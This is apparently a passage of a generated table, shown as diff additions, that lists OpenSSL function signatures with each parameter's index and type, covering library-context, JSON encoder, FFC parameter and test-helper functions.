OSSL_IETF_ATTR_SYNTAX_add1_value | 1 | int | +| (OSSL_IETF_ATTR_SYNTAX *,int,void *) | | OSSL_IETF_ATTR_SYNTAX_add1_value | 2 | void * | +| (OSSL_IETF_ATTR_SYNTAX_VALUE *) | | OSSL_IETF_ATTR_SYNTAX_VALUE_free | 0 | OSSL_IETF_ATTR_SYNTAX_VALUE * | +| (OSSL_INFO_SYNTAX *) | | OSSL_INFO_SYNTAX_free | 0 | OSSL_INFO_SYNTAX * | +| (OSSL_INFO_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_INFO_SYNTAX | 0 | OSSL_INFO_SYNTAX ** | +| (OSSL_INFO_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_INFO_SYNTAX | 1 | const unsigned char ** | +| (OSSL_INFO_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_INFO_SYNTAX | 2 | long | +| (OSSL_INFO_SYNTAX_POINTER *) | | OSSL_INFO_SYNTAX_POINTER_free | 0 | OSSL_INFO_SYNTAX_POINTER * | +| (OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long) | | d2i_OSSL_INFO_SYNTAX_POINTER | 0 | OSSL_INFO_SYNTAX_POINTER ** | +| (OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long) | | d2i_OSSL_INFO_SYNTAX_POINTER | 1 | const unsigned char ** | +| (OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long) | | d2i_OSSL_INFO_SYNTAX_POINTER | 2 | long | +| (OSSL_ISSUER_SERIAL *) | | OSSL_ISSUER_SERIAL_free | 0 | OSSL_ISSUER_SERIAL * | +| (OSSL_ISSUER_SERIAL *,const ASN1_BIT_STRING *) | | OSSL_ISSUER_SERIAL_set1_issuerUID | 0 | OSSL_ISSUER_SERIAL * | +| (OSSL_ISSUER_SERIAL *,const ASN1_BIT_STRING *) | | OSSL_ISSUER_SERIAL_set1_issuerUID | 1 | const ASN1_BIT_STRING * | +| (OSSL_ISSUER_SERIAL *,const ASN1_INTEGER *) | | OSSL_ISSUER_SERIAL_set1_serial | 0 | OSSL_ISSUER_SERIAL * | +| (OSSL_ISSUER_SERIAL *,const ASN1_INTEGER *) | | OSSL_ISSUER_SERIAL_set1_serial | 1 | const ASN1_INTEGER * | +| (OSSL_ISSUER_SERIAL *,const X509_NAME *) | | OSSL_ISSUER_SERIAL_set1_issuer | 0 | OSSL_ISSUER_SERIAL * | +| (OSSL_ISSUER_SERIAL *,const X509_NAME *) | | OSSL_ISSUER_SERIAL_set1_issuer | 1 | const X509_NAME * | +| (OSSL_JSON_ENC *) | | ossl_json_in_error | 0 | OSSL_JSON_ENC * | +| (OSSL_JSON_ENC *,BIO *) | | ossl_json_set0_sink | 0 | OSSL_JSON_ENC * | +| (OSSL_JSON_ENC *,BIO *) | | ossl_json_set0_sink | 1 | BIO * | +| (OSSL_JSON_ENC *,BIO *,uint32_t) | | ossl_json_init | 0 | OSSL_JSON_ENC * | +| (OSSL_JSON_ENC *,BIO *,uint32_t) | | ossl_json_init | 1 | BIO * | +| (OSSL_JSON_ENC *,BIO *,uint32_t) | | ossl_json_init | 2 | uint32_t | +| (OSSL_JSON_ENC *,const char *) | | ossl_json_key | 0 | OSSL_JSON_ENC * | +| (OSSL_JSON_ENC *,const char *) | | ossl_json_key | 1 | const char * | +| (OSSL_JSON_ENC *,const char *) | | ossl_json_str | 0 | OSSL_JSON_ENC * | +| (OSSL_JSON_ENC *,const char *) | | ossl_json_str | 1 | const char * | +| (OSSL_JSON_ENC *,const char *,size_t) | | ossl_json_str_len | 0 | OSSL_JSON_ENC * | +| (OSSL_JSON_ENC *,const char *,size_t) | | ossl_json_str_len | 1 | const char * | +| (OSSL_JSON_ENC *,const char *,size_t) | | ossl_json_str_len | 2 | size_t | +| (OSSL_JSON_ENC *,const void *,size_t) | | ossl_json_str_hex | 0 | OSSL_JSON_ENC * | +| (OSSL_JSON_ENC *,const void *,size_t) | | ossl_json_str_hex | 1 | const void * | +| (OSSL_JSON_ENC *,const void *,size_t) | | ossl_json_str_hex | 2 | size_t | +| (OSSL_JSON_ENC *,int64_t) | | ossl_json_i64 | 0 | OSSL_JSON_ENC * | +| (OSSL_JSON_ENC *,int64_t) | | ossl_json_i64 | 1 | int64_t | +| (OSSL_JSON_ENC *,uint64_t) | | ossl_json_u64 | 0 | OSSL_JSON_ENC * | +| (OSSL_JSON_ENC *,uint64_t) | | ossl_json_u64 | 1 | uint64_t | +| (OSSL_LIB_CTX *) | | BN_CTX_new_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | BN_CTX_secure_new_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | OSSL_LIB_CTX_get_conf_diagnostics | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | OSSL_PROVIDER_get0_default_search_path | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | OSSL_get_max_threads | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | RAND_get0_primary | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | RAND_get0_private | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | RAND_get0_public | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | SSL_TEST_CTX_new | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | fake_cipher_start | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | fake_pipeline_start | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | fake_rand_start | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | fake_rsa_start | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | ossl_dh_new_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | ossl_do_ex_data_init | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | ossl_dsa_new | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | ossl_get_avail_threads | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | ossl_lib_ctx_get_concrete | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | ossl_lib_ctx_get_ex_data_global | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | ossl_lib_ctx_get_rcukey | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | ossl_lib_ctx_is_child | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | ossl_method_store_new | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | ossl_namemap_stored | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | ossl_provider_store_new | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | ossl_rand_get0_seed_noncreating | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | ossl_rsa_new_with_ctx | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX **,OSSL_PROVIDER **,OSSL_PROVIDER **,int,const char *) | | test_arg_libctx | 0 | OSSL_LIB_CTX ** | +| (OSSL_LIB_CTX **,OSSL_PROVIDER **,OSSL_PROVIDER **,int,const char *) | | test_arg_libctx | 1 | OSSL_PROVIDER ** | +| (OSSL_LIB_CTX **,OSSL_PROVIDER **,OSSL_PROVIDER **,int,const char *) | | test_arg_libctx | 2 | OSSL_PROVIDER ** | +| (OSSL_LIB_CTX **,OSSL_PROVIDER **,OSSL_PROVIDER **,int,const char *) | | test_arg_libctx | 3 | int | +| (OSSL_LIB_CTX **,OSSL_PROVIDER **,OSSL_PROVIDER **,int,const char *) | | test_arg_libctx | 4 | const char * | +| (OSSL_LIB_CTX **,OSSL_PROVIDER **,const char *,OSSL_PROVIDER **,const char *) | | test_get_libctx | 0 | OSSL_LIB_CTX ** | +| (OSSL_LIB_CTX **,OSSL_PROVIDER **,const char *,OSSL_PROVIDER **,const char *) | | test_get_libctx | 1 | OSSL_PROVIDER ** | +| (OSSL_LIB_CTX **,OSSL_PROVIDER **,const char *,OSSL_PROVIDER **,const char *) | | test_get_libctx | 2 | const char * | +| (OSSL_LIB_CTX **,OSSL_PROVIDER **,const char *,OSSL_PROVIDER **,const char *) | | test_get_libctx | 3 | OSSL_PROVIDER ** | +| (OSSL_LIB_CTX **,OSSL_PROVIDER **,const char *,OSSL_PROVIDER **,const char *) | | test_get_libctx | 4 | const char * | +| (OSSL_LIB_CTX **,const char **,const X509_PUBKEY *) | | ossl_x509_PUBKEY_get0_libctx | 0 | OSSL_LIB_CTX ** | +| (OSSL_LIB_CTX **,const char **,const X509_PUBKEY *) | | ossl_x509_PUBKEY_get0_libctx | 1 | const char ** | +| (OSSL_LIB_CTX **,const char **,const X509_PUBKEY *) | | ossl_x509_PUBKEY_get0_libctx | 2 | const X509_PUBKEY * | +| (OSSL_LIB_CTX *,..(*)(..),void *) | | OSSL_PROVIDER_do_all | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,..(*)(..),void *) | | OSSL_PROVIDER_do_all | 1 | ..(*)(..) | +| (OSSL_LIB_CTX *,..(*)(..),void *) | | OSSL_PROVIDER_do_all | 2 | void * | +| (OSSL_LIB_CTX *,..(*)(..),void *) | | ossl_provider_doall_activated | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,..(*)(..),void *) | | ossl_provider_doall_activated | 1 | ..(*)(..) | +| (OSSL_LIB_CTX *,..(*)(..),void *) | | ossl_provider_doall_activated | 2 | void * | +| (OSSL_LIB_CTX *,CONF_METHOD *) | | NCONF_new_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,CONF_METHOD *) | | NCONF_new_ex | 1 | CONF_METHOD * | +| (OSSL_LIB_CTX *,CRYPTO_THREAD_ROUTINE,void *) | | ossl_crypto_thread_start | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,CRYPTO_THREAD_ROUTINE,void *) | | ossl_crypto_thread_start | 1 | CRYPTO_THREAD_ROUTINE | +| (OSSL_LIB_CTX *,CRYPTO_THREAD_ROUTINE,void *) | | ossl_crypto_thread_start | 2 | void * | +| (OSSL_LIB_CTX *,ECX_KEY_TYPE,int,const char *) | | ossl_ecx_key_new | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,ECX_KEY_TYPE,int,const char *) | | ossl_ecx_key_new | 1 | ECX_KEY_TYPE | +| (OSSL_LIB_CTX *,ECX_KEY_TYPE,int,const char *) | | ossl_ecx_key_new | 2 | int | +| (OSSL_LIB_CTX *,ECX_KEY_TYPE,int,const char *) | | ossl_ecx_key_new | 3 | const char * | +| (OSSL_LIB_CTX *,EVP_PKEY *,const char *) | | EVP_PKEY_CTX_new_from_pkey | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,EVP_PKEY *,const char *) | | EVP_PKEY_CTX_new_from_pkey | 1 | EVP_PKEY * | +| (OSSL_LIB_CTX *,EVP_PKEY *,const char *) | | EVP_PKEY_CTX_new_from_pkey | 2 | const char * | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_2_gen_verify | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_2_gen_verify | 1 | FFC_PARAMS * | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_2_gen_verify | 2 | int | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_2_gen_verify | 3 | int | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_2_gen_verify | 4 | size_t | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_2_gen_verify | 5 | size_t | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_2_gen_verify | 6 | int * | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_2_gen_verify | 7 | BN_GENCB * | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_gen_verify | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_gen_verify | 1 | FFC_PARAMS * | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_gen_verify | 2 | int | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_gen_verify | 3 | int | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_gen_verify | 4 | size_t | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_gen_verify | 5 | size_t | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_gen_verify | 6 | int * | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_gen_verify | 7 | BN_GENCB * | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_2_generate | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_2_generate | 1 | FFC_PARAMS * | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_2_generate | 2 | int | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_2_generate | 3 | size_t | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_2_generate | 4 | size_t | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_2_generate | 5 | int * | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_2_generate | 6 | BN_GENCB * | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_generate | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_generate | 1 | FFC_PARAMS * | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_generate | 2 | int | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_generate | 3 | size_t | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_generate | 4 | size_t | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_generate | 5 | int * | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_generate | 6 | BN_GENCB * | +| (OSSL_LIB_CTX *,OSSL_CALLBACK **,void **) | | OSSL_SELF_TEST_get_callback | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,OSSL_CALLBACK **,void **) | | OSSL_SELF_TEST_get_callback | 1 | OSSL_CALLBACK ** | +| (OSSL_LIB_CTX *,OSSL_CALLBACK **,void **) | | OSSL_SELF_TEST_get_callback | 2 | void ** | +| (OSSL_LIB_CTX *,OSSL_CORE_BIO *) | | BIO_new_from_core_bio | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,OSSL_CORE_BIO *) | | BIO_new_from_core_bio | 1 | OSSL_CORE_BIO * | +| (OSSL_LIB_CTX *,OSSL_INDICATOR_CALLBACK **) | | OSSL_INDICATOR_get_callback | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,OSSL_INDICATOR_CALLBACK **) | | OSSL_INDICATOR_get_callback | 1 | OSSL_INDICATOR_CALLBACK ** | +| (OSSL_LIB_CTX *,OSSL_PROPERTY_IDX) | | ossl_property_name_str | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,OSSL_PROPERTY_IDX) | | ossl_property_name_str | 1 | OSSL_PROPERTY_IDX | +| (OSSL_LIB_CTX *,OSSL_PROPERTY_IDX) | | ossl_property_value_str | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,OSSL_PROPERTY_IDX) | | ossl_property_value_str | 1 | OSSL_PROPERTY_IDX | +| (OSSL_LIB_CTX *,OSSL_PROVIDER_INFO *) | | ossl_provider_info_add_to_store | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,OSSL_PROVIDER_INFO *) | | ossl_provider_info_add_to_store | 1 | OSSL_PROVIDER_INFO * | +| (OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **) | | qtest_create_quic_objects | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **) | | qtest_create_quic_objects | 1 | SSL_CTX * | +| (OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **) | | qtest_create_quic_objects | 2 | SSL_CTX * | +| (OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **) | | qtest_create_quic_objects | 3 | char * | +| (OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **) | | qtest_create_quic_objects | 4 | char * | +| (OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **) | | qtest_create_quic_objects | 5 | int | +| (OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **) | | qtest_create_quic_objects | 6 | QUIC_TSERVER ** | +| (OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **) | | qtest_create_quic_objects | 7 | SSL ** | +| (OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **) | | qtest_create_quic_objects | 8 | QTEST_FAULT ** | +| (OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **) | | qtest_create_quic_objects | 9 | BIO ** | +| (OSSL_LIB_CTX *,SSL_CTX *,const char *) | | ssl_ctx_add_large_cert_chain | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,SSL_CTX *,const char *) | | ssl_ctx_add_large_cert_chain | 1 | SSL_CTX * | +| (OSSL_LIB_CTX *,SSL_CTX *,const char *) | | ssl_ctx_add_large_cert_chain | 2 | const char * | +| (OSSL_LIB_CTX *,const BIO_METHOD *) | | BIO_new_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const BIO_METHOD *) | | BIO_new_ex | 1 | const BIO_METHOD * | +| (OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *) | | ossl_ffc_params_full_validate | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *) | | ossl_ffc_params_full_validate | 1 | const FFC_PARAMS * | +| (OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *) | | ossl_ffc_params_full_validate | 2 | int | +| (OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *) | | ossl_ffc_params_full_validate | 3 | int * | +| (OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *) | | ossl_ffc_params_simple_validate | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *) | | ossl_ffc_params_simple_validate | 1 | const FFC_PARAMS * | +| (OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *) | | ossl_ffc_params_simple_validate | 2 | int | +| (OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *) | | ossl_ffc_params_simple_validate | 3 | int * | +| (OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_2_validate | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_2_validate | 1 | const FFC_PARAMS * | +| (OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_2_validate | 2 | int | +| (OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_2_validate | 3 | int * | +| (OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_2_validate | 4 | BN_GENCB * | +| (OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_validate | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_validate | 1 | const FFC_PARAMS * | +| (OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_validate | 2 | int | +| (OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_validate | 3 | int * | +| (OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_validate | 4 | BN_GENCB * | +| (OSSL_LIB_CTX *,const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *) | | ossl_provider_init_as_child | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *) | | ossl_provider_init_as_child | 1 | const OSSL_CORE_HANDLE * | +| (OSSL_LIB_CTX *,const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *) | | ossl_provider_init_as_child | 2 | const OSSL_DISPATCH * | +| (OSSL_LIB_CTX *,const OSSL_DISPATCH *) | | ossl_bio_init_core | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const OSSL_DISPATCH *) | | ossl_bio_init_core | 1 | const OSSL_DISPATCH * | +| (OSSL_LIB_CTX *,const OSSL_PROPERTY_DEFINITION *) | | ossl_property_get_string_value | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const OSSL_PROPERTY_DEFINITION *) | | ossl_property_get_string_value | 1 | const OSSL_PROPERTY_DEFINITION * | +| (OSSL_LIB_CTX *,const OSSL_PROPERTY_LIST *,char *,size_t) | | ossl_property_list_to_string | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const OSSL_PROPERTY_LIST *,char *,size_t) | | ossl_property_list_to_string | 1 | const OSSL_PROPERTY_LIST * | +| (OSSL_LIB_CTX *,const OSSL_PROPERTY_LIST *,char *,size_t) | | ossl_property_list_to_string | 2 | char * | +| (OSSL_LIB_CTX *,const OSSL_PROPERTY_LIST *,char *,size_t) | | ossl_property_list_to_string | 3 | size_t | +| (OSSL_LIB_CTX *,const SSL_METHOD *,const SSL_METHOD *,int,int,SSL_CTX **,SSL_CTX **,char *,char *) | | create_ssl_ctx_pair | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const SSL_METHOD *,const SSL_METHOD *,int,int,SSL_CTX **,SSL_CTX **,char *,char *) | | create_ssl_ctx_pair | 1 | const SSL_METHOD * | +| (OSSL_LIB_CTX *,const SSL_METHOD *,const SSL_METHOD *,int,int,SSL_CTX **,SSL_CTX **,char *,char *) | | create_ssl_ctx_pair | 2 | const SSL_METHOD * | +| (OSSL_LIB_CTX *,const SSL_METHOD *,const SSL_METHOD *,int,int,SSL_CTX **,SSL_CTX **,char *,char *) | | create_ssl_ctx_pair | 3 | int | +| (OSSL_LIB_CTX *,const SSL_METHOD *,const SSL_METHOD *,int,int,SSL_CTX **,SSL_CTX **,char *,char *) | | create_ssl_ctx_pair | 4 | int | +| (OSSL_LIB_CTX *,const SSL_METHOD *,const SSL_METHOD *,int,int,SSL_CTX **,SSL_CTX **,char *,char *) | | create_ssl_ctx_pair | 5 | SSL_CTX ** | +| (OSSL_LIB_CTX *,const SSL_METHOD *,const SSL_METHOD *,int,int,SSL_CTX **,SSL_CTX **,char *,char *) | | create_ssl_ctx_pair | 6 | SSL_CTX ** | +| (OSSL_LIB_CTX *,const SSL_METHOD *,const SSL_METHOD *,int,int,SSL_CTX **,SSL_CTX **,char *,char *) | | create_ssl_ctx_pair | 7 | char * | +| (OSSL_LIB_CTX *,const SSL_METHOD *,const SSL_METHOD *,int,int,SSL_CTX **,SSL_CTX **,char *,char *) | | create_ssl_ctx_pair | 8 | char * | +| (OSSL_LIB_CTX *,const char *) | | CMS_ContentInfo_new_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *) | | CMS_ContentInfo_new_ex | 1 | const char * | +| (OSSL_LIB_CTX *,const char *) | | CTLOG_STORE_new_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *) | | CTLOG_STORE_new_ex | 1 | const char * | +| (OSSL_LIB_CTX *,const char *) | | CT_POLICY_EVAL_CTX_new_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *) | | CT_POLICY_EVAL_CTX_new_ex | 1 | const char * | +| (OSSL_LIB_CTX *,const char *) | | EC_KEY_new_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *) | | EC_KEY_new_ex | 1 | const char * | +| (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_CTX_new | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_CTX_new | 1 | const char * | +| (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_MSG_new | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_MSG_new | 1 | const char * | +| (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_SRV_CTX_new | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_SRV_CTX_new | 1 | const char * | +| (OSSL_LIB_CTX *,const char *) | | OSSL_PROVIDER_load | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *) | | OSSL_PROVIDER_load | 1 | const char * | +| (OSSL_LIB_CTX *,const char *) | | PKCS7_new_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *) | | PKCS7_new_ex | 1 | const char * | +| (OSSL_LIB_CTX *,const char *) | | SCT_CTX_new | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *) | | SCT_CTX_new | 1 | const char * | +| (OSSL_LIB_CTX *,const char *) | | TS_RESP_CTX_new_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *) | | TS_RESP_CTX_new_ex | 1 | const char * | +| (OSSL_LIB_CTX *,const char *) | | X509_CRL_new_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *) | | X509_CRL_new_ex | 1 | const char * | +| (OSSL_LIB_CTX *,const char *) | | X509_PUBKEY_new_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *) | | X509_PUBKEY_new_ex | 1 | const char * | +| (OSSL_LIB_CTX *,const char *) | | X509_REQ_new_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *) | | X509_REQ_new_ex | 1 | const char * | +| (OSSL_LIB_CTX *,const char *) | | X509_STORE_CTX_new_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *) | | X509_STORE_CTX_new_ex | 1 | const char * | +| (OSSL_LIB_CTX *,const char *) | | X509_new_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *) | | X509_new_ex | 1 | const char * | +| (OSSL_LIB_CTX *,const char *) | | ossl_cmp_mock_srv_new | 0 | OSSL_LIB_CTX * | +| 